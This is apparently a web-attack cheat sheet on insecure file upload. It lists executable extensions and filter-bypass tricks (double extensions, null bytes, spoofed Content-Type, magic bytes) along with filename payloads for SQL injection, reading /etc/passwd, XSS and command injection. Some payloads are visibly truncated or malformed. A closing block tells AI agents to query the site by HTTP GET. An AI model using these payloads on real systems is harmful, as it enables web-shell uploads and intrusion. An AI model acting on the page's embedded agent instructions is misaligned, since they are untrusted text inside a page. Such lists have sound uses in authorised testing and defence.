# Insecure File Upload ## Defaults extensions #### PHP ```bash .php .php2 .php3 .php4 .php5 .php7 .pht .shtml .phps .phar .phpt .pgif .phtml .phtm .inc .htaccess ``` #### ASP ``` .asp .aspx .cer .asa .ashx .asmx .axd .cshtm .cshtml .rem .soap ``` #### JSP ``` .jsp .jspx .jsw .jspf .jsv .wss .do .action ``` #### Perl ``` .pl .pm .cgi .lib ``` #### Coldfusion ``` .cfm .cfml .cfc .dbm ``` #### Flash ``` .swf ``` #### Erland Yaws Web Server ``` .yaws ``` ## Bypasses ### Double extensions ```bash file.jpg.php file.php.jpg file.php.blah123jpg file.png.php file.png.Php5 file.php%00.png file.php%0d%0a.png file.php%0a.png file.php\x00.png ``` ### Null byte ``` file.php%00.gif file.php\x00.gif file.php%00.png file.php\x00.png file.php%00.jpg file.php\x00.jpg ``` ### Special characters ```bash file.php...... file.php%20 file.php%0a file.php%00 file.php%0d%0a file.php/ file.php.\ file. file.pHp5.... file.%E2%80%AEphp.jpg ``` ### Content-type Bypass ```bash #Original name but different content-type Content-Type: image/jpeg Content-Type: image/gif Content-Type: image/png ``` ### Magic bytes ```bash #Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application PNG: \x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[ JPG: \xff\xd8\xff GIF: GIF87a GIF: GIF8 ``` ### Triple equal ``` /?file=shell.php <-- Blocked /?file===shell.php <-- Bypassed ``` ### Filename Vulnerabilities: ```bash #Time-Based SQLi Payloads poc.js'(select*from(select(sleep(20)))a)+'.extension #LFI Payloads image.png../../../../../../../etc/passwd #XSS Payloads '">

.extension #File Traversal ../../../tmp/lol.png #Command Injection ; sleep 10; ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://www.pwny.cc/web-attacks/insecure-file-upload.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.